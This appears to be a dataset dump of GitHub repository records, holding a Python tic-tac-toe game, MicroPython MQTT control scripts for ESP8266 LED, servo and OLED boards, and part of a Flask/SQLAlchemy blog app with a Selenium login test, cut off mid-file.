repo_name
stringlengths 5
114
| repo_url
stringlengths 24
133
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| branch_name
stringclasses 209
values | visit_date
timestamp[ns] | revision_date
timestamp[ns] | committer_date
timestamp[ns] | github_id
int64 9.83k
683M
⌀ | star_events_count
int64 0
22.6k
| fork_events_count
int64 0
4.15k
| gha_license_id
stringclasses 17
values | gha_created_at
timestamp[ns] | gha_updated_at
timestamp[ns] | gha_pushed_at
timestamp[ns] | gha_language
stringclasses 115
values | files
listlengths 1
13.2k
| num_files
int64 1
13.2k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Sushmi-pal/tictactoe | https://github.com/Sushmi-pal/tictactoe | cd3683731ffd2c92868ec69209374a0a9b329ca4 | 580fca29c2b1d092a8235ddaf608ccd542c3191a | 574b8f21ef491946e148a624837a800f070b9219 | refs/heads/master | 2022-12-17T09:47:43.353028 | 2020-09-25T10:28:54 | 2020-09-25T10:28:54 | 298,538,569 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5234403610229492,
"alphanum_fraction": 0.5496492981910706,
"avg_line_length": 18.91176414489746,
"blob_id": "db94c87b04a000180a3437117d48fd81354d7813",
"content_id": "b40f9ff7703cb70f00d691b77a1d8dc3f4f136e9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2709,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 136,
"path": "/main.py",
"repo_name": "Sushmi-pal/tictactoe",
"src_encoding": "UTF-8",
"text": "import sys\nboard=[\"-\", \"-\", \"-\",\n \"-\", \"-\", \"-\",\n \"-\", \"-\", \"-\"]\ncurrent_player=\"X\"\nwinner=None\ngame_still_running=True\ndef display_board():\n print(board[0]+\" | \" + board[1] + \" | \" +board[2])\n print(board[3]+\" | \" + board[4] + \" | \" +board[5])\n print(board[6]+\" | \" + board[7] + \" | \" +board[8])\n\n\n\ndef check_if_tie():\n global game_still_running\n if '-' not in board:\n game_still_running=False\n\ndef flip_player():\n global current_player\n if current_player=='X':\n current_player='O'\n elif current_player=='O':\n current_player='X'\n\n return current_player\n\ndef check_if_game_over():\n check_if_win()\n check_if_tie()\n\ndef check_row():\n global game_still_running\n row1=board[0]==board[1]==board[2] != \"-\"\n row2=board[3]==board[4]==board[5] != \"-\"\n row3=board[6]==board[7]==board[8] != \"-\"\n if row1 or row2 or row3:\n game_still_running=False\n\n if row1:\n return board[0]\n\n elif row2:\n return board[3]\n\n elif row3:\n return board[6]\n\ndef check_column():\n global game_still_running\n col1 = board[0] == board[3] == board[6] != \"-\"\n col2 = board[1] == board[4] == board[7] != \"-\"\n col3 = board[2] == board[5] == board[8] != \"-\"\n if col1 or col2 or col3:\n game_still_running = False\n\n if col1:\n return board[0]\n\n elif col2:\n return board[1]\n\n elif col3:\n return board[2]\n\n\n\n\n\ndef check_if_win():\n global winner\n\n row_winner =check_row()\n column_winner=check_column()\n diagonal_winner=check_diagonal()\n\n if row_winner:\n winner=row_winner\n\n elif column_winner:\n winner=column_winner\n\n elif diagonal_winner:\n winner=diagonal_winner\n\n else:\n winner=None\n return\n\ndef check_diagonal():\n global game_still_running\n diag1 = board[0] == board[4] == board[8] != \"-\"\n diag2 = board[2] == board[4] == board[6] != \"-\"\n\n if diag1 or diag2:\n game_still_running = False\n\n if diag1:\n return board[0]\n\n elif diag2:\n return board[2]\n\ndef handle_turn(player):\n position=int(input('Enter a number from 1 to 9: '))-1\n if '-' in board[position]:\n board[position]=player\n\n else:\n print('It is already filled. Next try')\n flip_player()\n\n display_board()\n\n\ndef play_game():\n display_board()\n while game_still_running:\n handle_turn(current_player)\n\n check_if_game_over()\n\n flip_player()\n\n if winner==\"X\" or winner==\"O\":\n print(winner + \" won \")\n else:\n print(\"Tie\")\n\nprint('Tic Tac Toe')\ninpp =int(input('Enter 1 to play game'+'\\n'+ 'Enter 2 to quit'))\nif inpp==1:\n play_game()\nelse:\n sys.exit()\n\n"
}
] | 1 |
DCMattyG/DevNet-Create | https://github.com/DCMattyG/DevNet-Create | 2b872a15ce5b15ed51fd71eff3dacad882ee2798 | 2b74af61c91b55e4fdfdb741d711360dcbf98eb0 | 02d36abe381202f57484932dd20b27447782f5fa | refs/heads/master | 2021-01-21T20:11:42.211945 | 2017-05-24T05:44:25 | 2017-05-24T05:44:25 | 92,204,417 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4802820682525635,
"alphanum_fraction": 0.5053538680076599,
"avg_line_length": 20.043956756591797,
"blob_id": "a0617cbc9f982d4a039bbdf3089b5b1bdb10edc5",
"content_id": "3acfeb6ec903c6c1a1f312b6bc059478908ce338",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3829,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 182,
"path": "/Boards/neo/main.py",
"repo_name": "DCMattyG/DevNet-Create",
"src_encoding": "UTF-8",
"text": "import machine\nimport time\nimport neopixel\nimport json\nfrom umqtt.simple import MQTTClient\n\n# Format:\n# {\n# \"command\": \"one\",\n# \"pixelNum\": <0-11>,\n# \"color\": \"(<r>, <g>, <b>)\"\n# }\n#\n# {\n# \"command\": \"loop\"\n# }\n\nwaiting = 1\ncommand = \"\"\npixelNum = 0\ncolor = []\n\ndef neoLoop(np):\n global waiting\n global command\n global pixelNum\n global color\n\n while True:\n while(waiting):\n client.check_msg()\n time.sleep(1)\n \n print(\"Command:\", command)\n print(\"pixelNum:\", pixelNum)\n print(\"Color:\", color)\n\n if(command == \"loop\"):\n waiting = 1\n colorLoop(np)\n elif(command == \"one\"):\n waiting = 1\n showPixel(np, pixelNum, color)\n command = \"\"\n pixelNum = 0\n color = []\n else:\n waiting = 1\n command = \"\"\n pixelNum = 0\n color = []\n\ndef neo_cb(topic, msg):\n global waiting\n global command\n global pixelNum\n global color\n\n waiting = 0\n print((topic, msg))\n result = msg.decode(\"utf-8\") #convert to string\n try:\n jTemp = json.loads(result)\n except:\n waiting = 1\n return\n pass\n\n try:\n command = jTemp['command']\n except:\n waiting = 1\n return\n pass\n\n if(command == \"one\"):\n try:\n pixelNum = jTemp['pixelNum']\n except:\n waiting = 1\n return\n pass\n\n try:\n tempColor = jTemp['color']\n tempColor = tempColor.replace(\"(\",\"\")\n tempColor = tempColor.replace(\")\",\"\")\n colorList = tempColor.split(',')\n color.append(int(colorList[0]))\n color.append(int(colorList[1]))\n color.append(int(colorList[2]))\n except:\n waiting = 1\n return\n pass\n elif(command != \"loop\"):\n waiting = 1\n\ndef createPixel(gpio, pixels):\n pin = machine.Pin(gpio, machine.Pin.OUT)\n np = neopixel.NeoPixel(pin, pixels)\n return np\n\ndef showPixel(np, pixelNum, color):\n rgb = [0, 0, 0]\n clearPixels(np)\n \n try:\n if(pixelNum > 11):\n pixelNum = 11\n elif(pixelNum < 0):\n pixelNum = 1\n except:\n waiting = 1\n return\n pass\n\n print(\"Show Color:\", color)\n print(\"Color Type\", type(color))\n\n for i in range (0, 3):\n if(color[i] > 255):\n rgb[i] = 255\n elif(color[i] < 0):\n rgb[i] = 0\n else:\n rgb[i] = int(color[i])\n\n newColor = (rgb[0], rgb[1], rgb[2])\n #print(\"newColor:\", newColor)\n np[pixelNum] = newColor\n np.write()\n\ndef clearPixels(np):\n pixels = np.n\n off = (0, 0, 0)\n \n for x in range (0, pixels):\n np[x] = off\n np.write()\n\ndef rotateColor(np, color, pos, delay):\n pixels = np.n\n off = (0, 0, 0)\n\n for x in range (pos, (pos + (pixels - 3))):\n newpos = (x % pixels)\n np[(x % pixels)] = color\n np[((x - 1) % pixels)] = off\n np.write()\n time.sleep_ms(delay)\n return ((newpos + 1) % pixels)\n\ndef colorLoop(np):\n pixels = np.n\n delay = 100\n off = (0, 0, 0)\n red = (255, 0, 0)\n blue = (0, 255, 0)\n green = (0, 0, 255)\n\n redpos = 2\n greenpos = 1\n bluepos = 0\n\n clearPixels(np)\n\n while(waiting):\n redpos = rotateColor(np, red, redpos, delay)\n greenpos = rotateColor(np, green, greenpos, delay)\n bluepos = rotateColor(np, blue, bluepos, delay)\n client.check_msg()\n\nnumPixels = 12\ngpioPin = 5\nneo = createPixel(gpioPin, numPixels)\ntime.sleep(5)\nclient = MQTTClient(client_id=\"ESP8266-NEO\", server=\"192.168.50.10\")\nclient.set_callback(neo_cb)\nclient.connect()\nclient.subscribe(b\"neo\")\nneoLoop(neo)"
},
{
"alpha_fraction": 0.5083655118942261,
"alphanum_fraction": 0.5373230576515198,
"avg_line_length": 18.4375,
"blob_id": "18106849b50a1d748413ca74b1c2549d1267778b",
"content_id": "eb2f39ad766617771215a13466bc71d14af49303",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1554,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 80,
"path": "/Boards/servo/main.py",
"repo_name": "DCMattyG/DevNet-Create",
"src_encoding": "UTF-8",
"text": "import machine\nimport time\nimport json\nfrom umqtt.simple import MQTTClient\n\n# Format:\n# {\n# \"command\": \"<left/right/center/wave>\",\n# }\n\nwaiting = 1\ncommand = \"\"\n\ndef servoLoop():\n global waiting\n global command\n global servo\n\n while True:\n while(waiting):\n client.check_msg()\n time.sleep(1)\n \n print(\"Command:\", command)\n\n if(command == \"left\"):\n waiting = 1\n servo.duty(115)\n elif(command == \"right\"):\n waiting = 1\n servo.duty(35)\n elif(command == \"center\"):\n waiting = 1\n servo.duty(75)\n elif(command == \"wave\"):\n waiting = 1\n waveServo()\n else:\n waiting = 1\n command = \"\"\n\ndef servo_cb(topic, msg):\n global waiting\n global command\n\n waiting = 0\n print((topic, msg))\n result = msg.decode(\"utf-8\") #convert to string\n try:\n jTemp = json.loads(result)\n except:\n waiting = 1\n return\n pass\n \n try:\n command = jTemp['command']\n except:\n waiting = 1\n return\n pass\n\ndef waveServo():\n global servo\n\n while(waiting):\n servo.duty(35)\n time.sleep(1)\n servo.duty(115)\n time.sleep(1)\n client.check_msg()\n\nservo = machine.PWM(machine.Pin(4), freq=50)\nservo.duty(75)\ntime.sleep(5)\nclient = MQTTClient(client_id=\"ESP8266-SERVO\", server=\"192.168.50.10\")\nclient.set_callback(servo_cb)\nclient.connect()\nclient.subscribe(b\"servo\")\nservoLoop()"
},
{
"alpha_fraction": 0.47856807708740234,
"alphanum_fraction": 0.5058878660202026,
"avg_line_length": 20.454545974731445,
"blob_id": "a98e2fb52cc8aa7cc9707012b38b8be650620003",
"content_id": "acfc21bf2241437ead1648e60fa4083b12dcd696",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2123,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 99,
"path": "/Boards/lcd/main.py",
"repo_name": "DCMattyG/DevNet-Create",
"src_encoding": "UTF-8",
"text": "import machine\nimport time\nimport json\nimport ntptime\nfrom ssd1306 import SSD1306_I2C\nfrom umqtt.simple import MQTTClient\n\n# Format:\n# {\n# \"command\": \"text\",\n# \"text\": \"<string>\n# }\n#\n# {\n# \"command\": \"<date/time>\"\n# }\n\nwaiting = 1\ncommand = \"\"\ntext = \"\"\n\ndef lcdLoop():\n global waiting\n global command\n global text\n\n while True:\n while(waiting):\n client.check_msg()\n time.sleep(1)\n \n waiting = 1\n\ndef lcd_cb(topic, msg):\n global waiting\n global command\n global text\n global oled\n\n waiting = 0\n print((topic, msg))\n result = msg.decode(\"utf-8\") #convert to string\n try:\n jTemp = json.loads(result)\n except:\n waiting = 1\n return\n pass\n\n try:\n command = jTemp['command']\n except:\n waiting = 1\n return\n pass\n\n if(command == \"text\"):\n try:\n text = jTemp['text']\n oled.fill(0)\n oled.text(text, 0, 0)\n oled.show()\n except:\n waiting = 1\n return\n pass\n elif(command == \"date\"):\n try:\n ntptime.settime()\n year, month, day, hour, minute, second, ms, dayinyear = time.localtime()\n text = str(month) + \"/\" + str(day) + \"/\" + str(year)\n oled.fill(0)\n oled.text(text, 0, 0)\n oled.show()\n except:\n waiting = 1\n return\n pass\n elif(command == \"time\"):\n try:\n ntptime.settime()\n year, month, day, hour, minute, second, ms, dayinyear = time.localtime()\n text = str(hour) + \":\" + str(minute) + \":\" + str(second)\n oled.fill(0)\n oled.text(text, 0, 0)\n oled.show()\n except:\n waiting = 1\n return\n pass\n\ni2c = machine.I2C(scl = machine.Pin(5), sda = machine.Pin(4))\noled = SSD1306_I2C(128, 64, i2c)\ntime.sleep(5)\nclient = MQTTClient(client_id=\"ESP8266-LCD\", server=\"192.168.50.10\")\nclient.set_callback(lcd_cb)\nclient.connect()\nclient.subscribe(b\"lcd\")\nlcdLoop()"
},
{
"alpha_fraction": 0.5249016880989075,
"alphanum_fraction": 0.5714285969734192,
"avg_line_length": 18.576923370361328,
"blob_id": "b9b8cbffdd27f4ffa5d64c872489f6ed46a1e64f",
"content_id": "c0c45a4776df6db1c5639fdb5b0cc0a0f3c01b22",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1526,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 78,
"path": "/Boards/rgb/main.py",
"repo_name": "DCMattyG/DevNet-Create",
"src_encoding": "UTF-8",
"text": "import machine\nimport time\nimport json\nfrom umqtt.simple import MQTTClient\n\n# Format:\n# {\n# \"color\": \"(<r>, <g>, <b>)\"\n# }\n\nwaiting = 1\ncolor = []\n\ndef rgbLoop():\n global waiting\n global color\n\n while True:\n while(waiting):\n client.check_msg()\n time.sleep(1)\n \n print(\"Color:\", color)\n setRGB()\n color = []\n\ndef rgb_cb(topic, msg):\n global waiting\n global color\n\n waiting = 0\n print((topic, msg))\n result = msg.decode(\"utf-8\") #convert to string\n try:\n jTemp = json.loads(result)\n except:\n waiting = 1\n return\n pass\n\n try:\n tempColor = jTemp['color']\n tempColor = tempColor.replace(\"(\",\"\")\n tempColor = tempColor.replace(\")\",\"\")\n colorList = tempColor.split(',')\n color.append(int(colorList[0]))\n color.append(int(colorList[1]))\n color.append(int(colorList[2]))\n except:\n color = []\n waiting = 1\n return\n pass\n\ndef setRGB():\n global r\n global g\n global b\n global waiting\n\n r.duty(1025-(color[0]*4))\n g.duty(1025-(color[1]*4))\n b.duty(1025-(color[2]*4))\n\n waiting = 1\n\nr = machine.PWM(machine.Pin(5), freq=1000)\ng = machine.PWM(machine.Pin(4), freq=1000)\nb = machine.PWM(machine.Pin(14), freq=1000)\nr.duty(1500)\ng.duty(1500)\nb.duty(1500)\ntime.sleep(5)\nclient = MQTTClient(client_id=\"ESP8266-RGB\", server=\"192.168.50.10\")\nclient.set_callback(rgb_cb)\nclient.connect()\nclient.subscribe(b\"rgb\")\nrgbLoop()"
}
] | 4 |
ollien/timpani | https://github.com/ollien/timpani | e648e7ca52d234f4d316613a4c7ac750962a11e9 | 0d1aac467e0bcbe2d1dadb4e6c025315d6be45cb | 85a9ce9f74fe0c10fe5d90f5bb77036dbbee7d9d | refs/heads/master | 2020-04-11T16:07:55.817571 | 2016-07-21T02:45:13 | 2016-07-21T02:45:13 | 40,745,863 | 3 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.635590136051178,
"alphanum_fraction": 0.6371703147888184,
"avg_line_length": 34.158119201660156,
"blob_id": "7be248e63762801f5c6a4663ea834e48b9821666",
"content_id": "55854b5ab41fe332fab98af15b8eb834bb69b400",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8227,
"license_type": "permissive",
"max_line_length": 87,
"num_lines": 234,
"path": "/timpani/blog.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from . import database\nfrom . import configmanager\nimport sqlalchemy\nimport sqlalchemy.orm\nimport math\n\n#Groups posts and tags in posts dict.\n#Will be a dict formatted as such:\n#{postId: {post: $POST_OBJECT_FROM_DATABASE, tags: [$TAGS_FROM_DATABASE]}\ndef _getDictFromJoin(results):\n posts = {}\n for result in results:\n post, tag = result\n if post.id in posts.keys():\n posts[post.id][\"tags\"].append(tag)\n else:\n posts[post.id] = {\"post\": post, \"tags\": []}\n if tag is not None:\n posts[post.id][\"tags\"].append(tag)\n\n return sorted(\n list(posts.values()),\n key = lambda x: x[\"post\"].time_posted,\n reverse = True)\n\ndef _getPostQuery(limit=None, offset=0, tags=True, connection=None):\n if connection is None:\n connection = database.ConnectionManager.getMainConnection()\n if tags:\n #Gets all the posts using a join.\n #We won't use getPostById in a loop to prevent many queries.\n\n postQuery = (connection.session\n .query(database.tables.Post)\n .order_by(sqlalchemy.desc(database.tables.Post.time_posted))\n .limit(limit)\n .offset(offset)\n .subquery())\n\n postAlias = sqlalchemy.orm.aliased(database.tables.Post, postQuery)\n\n #Outerjoin these together\n query = (connection.session\n .query(postAlias, database.tables.Tag)\n .outerjoin(database.tables.TagRelation,\n postAlias.id == database.tables.TagRelation.post_id)\n .outerjoin(database.tables.Tag,\n database.tables.Tag.id == database.tables.TagRelation.tag_id)\n .order_by(database.tables.Tag.id))\n\n return query\n else:\n query = (connection.session\n .query(database.tables.Post)\n .limit(limit)\n .offset(offset))\n\n return query\n\ndef getPosts(limit=None, offset=0, tags=True, connection=None):\n query = _getPostQuery(limit, offset, tags, connection)\n posts = query.all()\n\n if tags:\n return _getDictFromJoin(posts)\n else:\n return sorted(posts, key=lambda x: x.time_posted, reverse=True)\n\ndef getPostCount(limit=None, offset=0, connection=None):\n query = _getPostQuery(limit, offset, False, connection)\n return query.count()\n\n#Gets a post form the database\n#Returns None if there is no post with such an id\ndef getPostById(postId, tags=True, connection=None):\n if connection is None:\n connection = database.ConnectionManager.getMainConnection()\n if tags:\n postsAndTags = (connection.session\n .query(database.tables.Post, database.tables.Tag)\n .outerjoin(database.tables.TagRelation,\n database.tables.Post.id == database.tables.TagRelation.post_id)\n .outerjoin(database.tables.Tag,\n database.tables.Tag.id == database.tables.TagRelation.tag_id)\n .filter(database.tables.Post.id == postId)\n .order_by(database.tables.Tag.id)\n .all())\n\n if len(postsAndTags) == 0:\n return None\n\n return {\n \"post\": postsAndTags[0][0],\n \"tags\": [item[1] for item in postsAndTags if item[1] is not None]\n }\n else:\n return (connection.session.query(database.tables.Post)\n .filter(database.tables.Post.id == postId)\n .first())\n\ndef _getPostsWithTagQuery(tag, limit=None, offset=0, tags=True, connection=None):\n if connection is None:\n connection = database.ConnectionManager.getMainConnection()\n\n postQuery = (connection.session\n .query(database.tables.Post)\n .order_by(sqlalchemy.desc(database.tables.Post.time_posted))\n .limit(limit)\n .offset(offset)\n .subquery())\n\n postAlias = sqlalchemy.orm.aliased(database.tables.Post, postQuery)\n\n #If we're getting tags, we don't need to do anything else\n #Performing a subquery on 'postAlias' has too many columns\n baseQuery = (connection.session.query(postAlias.id)\n if tags else connection.session.query(postAlias))\n\n postWithTagQuery = (baseQuery\n .join(database.tables.TagRelation,\n database.tables.TagRelation.post_id == postAlias.id)\n .join(database.tables.Tag,\n database.tables.Tag.id == database.tables.TagRelation.tag_id)\n .filter(database.tables.Tag.name == tag)\n .order_by(database.tables.Tag.id))\n\n if tags:\n postWithTagQuery = postWithTagQuery.subquery()\n query = (connection.session\n .query(postAlias, database.tables.Tag)\n .outerjoin(database.tables.TagRelation,\n postAlias.id == database.tables.TagRelation.post_id)\n .outerjoin(database.tables.Tag,\n database.tables.Tag.id == database.tables.TagRelation.tag_id)\n .filter(postAlias.id.in_(postWithTagQuery))\n .order_by(database.tables.Tag.id)\n )\n return query\n\n return postWithTagQuery\n\ndef getPostsWithTag(tag, limit=None, offset=0, tags=True, connection=None):\n query = _getPostsWithTagQuery(tag, limit, offset, tags, connection)\n posts = query.all()\n\n if tags:\n return _getDictFromJoin(posts)\n else:\n return sorted(posts, key=lambda x: x.time_posted, reverse=True)\n\ndef getPostWithTagCount(tag, limit=None, offset=0, connection=None):\n query = _getPostsWithTagQuery(tag, limit, offset, False, connection)\n return query.count()\n\ndef nextPageExists(postCount, pageLimit, pageNumber):\n return getPageCount(postCount, pageLimit) > pageNumber\n\ndef getPageCount(postCount, pageLimit):\n return int(math.ceil(postCount/pageLimit))\n\ndef _addTags(post, tags, connection=None, commit=True):\n if connection is None:\n connection = database.ConnectionManager.getMainConnection()\n if type(tags) == str:\n tags = tags.split(\" \")\n\n tagQuery = (connection.session\n .query(database.tables.Tag.id, database.tables.Tag.name)\n .filter(database.tables.Tag.name.in_(tags)))\n storedTags = {tag.name: tag.id for tag in tagQuery.all()}\n\n #Parse the tags and add them to the table\n for tag in tags:\n if len(tag) > 0:\n tagId = -1\n if tag not in storedTags:\n tag = database.tables.Tag(name=tag)\n connection.session.add(tag)\n #Without a flush, tagId will be None\n connection.session.flush()\n tagId = tag.id\n else:\n tagId = storedTags[tag]\n tagRelation = database.tables.TagRelation(post_id=post.id, tag_id=tagId)\n connection.session.add(tagRelation)\n if commit:\n connection.session.commit()\n\ndef addPost(title, body, time_posted, author, tags, connection=None):\n #Functions are not re-run if they are default arguments.\n if connection is None:\n connection = database.ConnectionManager.getMainConnection()\n\n #Create the post object\n post = database.tables.Post(\n title=title,\n body=body,\n time_posted=time_posted,\n author=author)\n\n connection.session.add(post)\n connection.session.flush()\n _addTags(post, tags, connection, False)\n connection.session.commit()\n\ndef editPost(postId, title, body, tags, connection=None):\n if connection is None:\n connection = database.ConnectionManager.getMainConnection()\n\n if type(tags) == str:\n tags = tags.split(\" \")\n\n post = getPostById(postId)[\"post\"]\n post.title = title\n post.body = body\n (connection.session\n .query(database.tables.TagRelation)\n .filter(database.tables.TagRelation.post_id == postId)\n .delete())\n _addTags(post, tags, connection, False)\n connection.session.commit()\n\ndef deletePost(post, connection=None):\n if connection is None:\n connection = database.ConnectionManager.getMainConnection()\n\n if type(post) == int:\n post = getPostById(post, tags=False)\n\n if type(post) != database.tables.Post:\n raise ValueError(\"post must be of type int or Post, not {}\".format(type(post)))\n\n connection.session.delete(post)\n connection.session.commit()\n"
},
{
"alpha_fraction": 0.6332203149795532,
"alphanum_fraction": 0.6338983178138733,
"avg_line_length": 34.975608825683594,
"blob_id": "9ea876bd0076c302fc382140f630e72977c1ba6b",
"content_id": "006100cc63f560df15fc242d62f16467164c0dbb",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1475,
"license_type": "permissive",
"max_line_length": 94,
"num_lines": 41,
"path": "/timpani/themes.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import os\nimport os.path\nfrom . import database\n\nTHEME_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), \"../themes\"))\n\ndef getCurrentTheme():\n databaseConnection = database.ConnectionManager.getConnection(\"main\")\n query = (databaseConnection.session\n .query(database.tables.Setting)\n .filter(database.tables.Setting.name == \"theme\"))\n if query.count() > 0:\n themeName = query.first().value\n themes = os.listdir(THEME_PATH)\n folderName = None\n try:\n folderName = next(theme for theme in themes if theme.lower() == themeName.lower())\n except StopIteration:\n return None\n\n themePath = os.path.join(THEME_PATH, folderName, \"theme.css\")\n templatePath = os.path.join(THEME_PATH, folderName, \"template.html\")\n template = None #If this is None, the default template can be used.\n if os.path.isfile(templatePath):\n templateFile = open(templatePath, \"r\")\n template = templateFile.read()\n templateFile.close()\n\n staticPath = os.path.join(THEME_PATH, folderName, \"static\")\n if not os.path.isdir(staticPath):\n staticPath = None\n\n return {\"template\": template, \"staticPath\": staticPath}\n\ndef getAvailableThemes():\n files = os.listdir(THEME_PATH)\n for item in files:\n path = os.path.join(THEME_PATH, item)\n if not os.path.isdir(path):\n files.remove(item)\n return files\n"
},
{
"alpha_fraction": 0.6944625377655029,
"alphanum_fraction": 0.7048860192298889,
"avg_line_length": 38.35897445678711,
"blob_id": "76fb1d33eb38662639ba3b99d2226b882525217a",
"content_id": "6066a171e260f10f0b8103060286454dd2d52a5e",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1535,
"license_type": "permissive",
"max_line_length": 96,
"num_lines": 39,
"path": "/tests/tests/login.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from selenium.common import exceptions\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\n\nLOGIN_TITLE = \"Login - Timpani\"\nMANAGE_TITLE = \"Manage Blog - Timpani\"\n\ndef test(driver, username, password):\n driver.get(\"http://127.0.0.1:8080/login\")\n\n (WebDriverWait(driver, 10)\n .until(expected_conditions.title_contains(\"Timpani\")))\n \n assert driver.title == LOGIN_TITLE, \"Title is %s\" % driver.title\n\n loginForm = driver.find_element_by_id(\"login-form\")\n usernameField = driver.find_element_by_id(\"username-field\")\n passwordField = driver.find_element_by_id(\"password-field\")\n usernameField.send_keys(\".\" if username != \".\" else \",\")\n passwordField.send_keys(\".\" if password != \".\" else \",\")\n loginForm.submit()\n\n #Will throw a timeout exception if the page doesn't load.\n #or if it can't find the element.\n (WebDriverWait(driver, 10)\n .until(expected_conditions.presence_of_element_located((By.CSS_SELECTOR, \"div.error\"))))\n\n loginForm = driver.find_element_by_id(\"login-form\")\n usernameField = driver.find_element_by_id(\"username-field\")\n passwordField = driver.find_element_by_id(\"password-field\")\n usernameField.send_keys(username)\n passwordField.send_keys(password)\n loginForm.submit()\n\n (WebDriverWait(driver, 10)\n .until_not(expected_conditions.title_is(LOGIN_TITLE)))\n\n assert driver.title == MANAGE_TITLE, \"Title is %s\" % driver.title\n"
},
{
"alpha_fraction": 0.6747996807098389,
"alphanum_fraction": 0.679533839225769,
"avg_line_length": 40.29323196411133,
"blob_id": "cf73cbdb6d69365332e4e8a76e127e577e807ede",
"content_id": "d5945a7d07f429f7d208d35884d611ded4f7d161",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5492,
"license_type": "permissive",
"max_line_length": 94,
"num_lines": 133,
"path": "/timpani/webserver/controllers/user.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import flask\nimport os.path\nimport datetime\nfrom ... import auth\nfrom ... import blog\nfrom ... import configmanager\nfrom ... import settings\nfrom ... import themes\nfrom .. import webhelpers\nimport random\n\nTEMPLATE_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), \"../../../templates\"))\n\nblueprint = flask.Blueprint(\"user\", __name__, template_folder=TEMPLATE_PATH)\n\[email protected](\"/\")\ndef showPosts():\n pageLimit = int(settings.getSettingValue(\"posts_per_page\"))\n posts = blog.getPosts(limit=pageLimit)\n templatePath = os.path.join(TEMPLATE_PATH, \"posts.html\")\n postParams = webhelpers.getPostsParameters()\n pageTitle = postParams[\"blogTitle\"]\n pageCount = blog.getPageCount(blog.getPostCount(), pageLimit)\n nextPageExists = (blog.nextPageExists(blog.getPostCount(),\n pageLimit, 1))\n return webhelpers.renderPosts(templatePath, pageTitle, 1,\n pageCount, nextPageExists, posts=posts)\n\[email protected](\"/page/<int:pageNumber>\")\ndef showPostWithPage(pageNumber):\n if pageNumber < 1:\n return flask.abort(400)\n pageLimit = int(settings.getSettingValue(\"posts_per_page\"))\n posts = blog.getPosts(limit=pageLimit,\n offset=pageLimit * (pageNumber - 1))\n templatePath = os.path.join(TEMPLATE_PATH, \"posts.html\")\n postParams = webhelpers.getPostsParameters()\n pageTitle = \"{} - page {}\".format(postParams[\"blogTitle\"], pageNumber)\n pageCount = blog.getPageCount(blog.getPostCount(), pageLimit)\n nextPageExists = (blog.nextPageExists(blog.getPostCount(),\n pageLimit, pageNumber))\n return webhelpers.renderPosts(templatePath, pageTitle, pageNumber,\n pageCount, nextPageExists, posts=posts)\n\[email protected](\"/post/<int:postId>\")\ndef showPost(postId):\n post = blog.getPostById(postId)\n if post is None:\n return flask.abort(404)\n templatePath = os.path.join(TEMPLATE_PATH, \"posts.html\")\n postParams = webhelpers.getPostsParameters()\n pageTitle = \"{} - {}\".format(postParams[\"blogTitle\"], post[\"post\"].title)\n return webhelpers.renderPosts(templatePath, pageTitle, 1,\n 1, False, posts=[post])\n\[email protected](\"/tag/<tag>\")\ndef showPostsWithTag(tag):\n pageLimit = int(settings.getSettingValue(\"posts_per_page\"))\n posts = blog.getPostsWithTag(tag, limit=pageLimit)\n if len(posts) == 0:\n return flask.abort(404)\n\n templatePath = os.path.join(TEMPLATE_PATH, \"posts.html\")\n postParams = webhelpers.getPostsParameters()\n pageTitle = \"{} - #{}\".format(postParams[\"blogTitle\"], tag)\n pageCount = blog.getPageCount(blog.getPostWithTagCount(tag), pageLimit)\n nextPageExists = (blog.nextPageExists(blog.getPostWithTagCount(tag),\n pageLimit, 1))\n return webhelpers.renderPosts(templatePath, pageTitle, 1,\n pageCount, nextPageExists, posts=posts,\n pageBaseString=\"/tag/{}\".format(tag))\n\[email protected](\"/tag/<tag>/page/<int:pageNumber>\")\ndef showPostWithTagAndPage(tag, pageNumber):\n if pageNumber < 1:\n flask.abort(400)\n\n pageLimit = int(settings.getSettingValue(\"posts_per_page\"))\n posts = (blog.getPostsWithTag(tag, limit=pageLimit,\n offset=pageLimit * (pageNumber - 1)))\n templatePath = os.path.join(TEMPLATE_PATH, \"posts.html\")\n postParams = webhelpers.getPostsParameters()\n pageTitle = \"{} - #{}\".format(postParams[\"blogTitle\"], tag)\n pageCount = blog.getPageCount(blog.getPostWithTagCount(tag), pageLimit)\n nextPageExists = blog.nextPageExists(blog.getPostWithTagCount(tag),\n pageLimit, pageNumber)\n return webhelpers.renderPosts(templatePath, pageTitle, pageNumber,\n pageCount, nextPageExists, posts=posts,\n pageBaseString=\"/tag/{}\".format(tag))\n\[email protected](\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if flask.request.method == 